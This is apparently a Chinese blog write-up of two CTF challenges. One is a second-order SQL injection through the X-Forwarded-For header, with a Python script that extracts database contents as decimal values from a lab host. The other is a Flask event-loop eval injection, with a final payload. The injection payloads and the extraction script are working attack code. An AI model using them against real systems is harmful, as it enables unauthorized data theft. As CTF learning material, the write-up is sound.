00x0 ROARCTF online PROXY

是个xff二次注入
把payload加入到xff头中之后访问
然后再去掉payload访问两次就会把内容回显到last ip中
只能回显数字
所以可以把查询的内容转成十进制回显

X-Forwarded-For:0'|conv(hex(substr((select database()),1,5)),16,10)|'0

由于内容太长的话10进制转16进制容易溢出 截取字符串再转比较好
自己写了个脚本

import requests
import time
import re
def requ(sql):
    url='http://node3.buuoj.cn:28912/'
    header={
        "X-Forwarded-For":sql
    }
    x=requests.session()
    x.get(url,headers=header)
    x.get(url,headers={"X-Forwarded-For":'P3rh4ps'})
    p=x.get(url, headers={"X-Forwarded-For": 'P3rh4ps'})
   # print(p.text)
    #print(re.findall(r"Last Ip:(.*)-->",p.text)[0])
    str=re.findall(r"Last Ip:(.*)-->",p.text)[0].strip()
    #print(str)
    if str=='':
        return ''
    str=bytes.fromhex(hex(int(str))[2:]).decode('utf-8')
    return str
a=''
for i in range(1,100,5):
   # sql="0'|conv(hex(substr((select group_concat(SCHEMA_NAME) FROM information_schema.schemata),{},5)),16,10)|'0".format(str(i))
    #sql="0'|conv(hex(substr((select group_concat(table_name) FROM information_schema.tables where table_schema='F4l9_D4t4B45e'),{},5)),16,10)|'0".format(str(i))
    sql = "0'|conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},5)),16,10)|'0".format(str(i))
    if requ(sql)=='':
        break
    a+=requ(sql)
print(a)

flag不在当前数据库里有点坑
10进制转成16进制那里参考了赵师傅的exp
感觉自己写函数转有点麻烦..

00X1 DDCTF homebrew event loop

一道flask代码审计题目 题目直接给了源码
flask写的比较少 审起来确实有点吃力 问题不大
看着文档一点点来
flask的访问是由路由开始的
所以直接找绑定了路由的函数

@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

先对参数进行了一次url解码
然后把参数交给了trigger_event函数

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

这个函数先对session['log']进行了判断 意义不明先跳过
然后根据参数的类型进行了不同的操作
当参数是list时 直接+=
如果参数是其余的类型使用append加入
再回到路由函数
调用了execute_event_loop() 跟进

def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

核心代码就是这里

  event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)

涉及到了一个eval的特性:#后面的内容会被忽略
所以只要在传入的参数中加一个#就可以把任意的函数拼接到event_handler中,而#后面的内容不会被拼接 由于前后对参数处理导致的差异 在后面event_handler(args)中的arg是又是经过#分割的 所以就可以调用trigger_event函数 改变原本的执行逻辑 把我们的getflag函数注入进去
不得不说这个题思路很奇妙.. 明天可以再仔细地看看 好题要深入总结
payload:action:trigger_event#;action:buy;7#action:get_flag;

分类: 技术

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注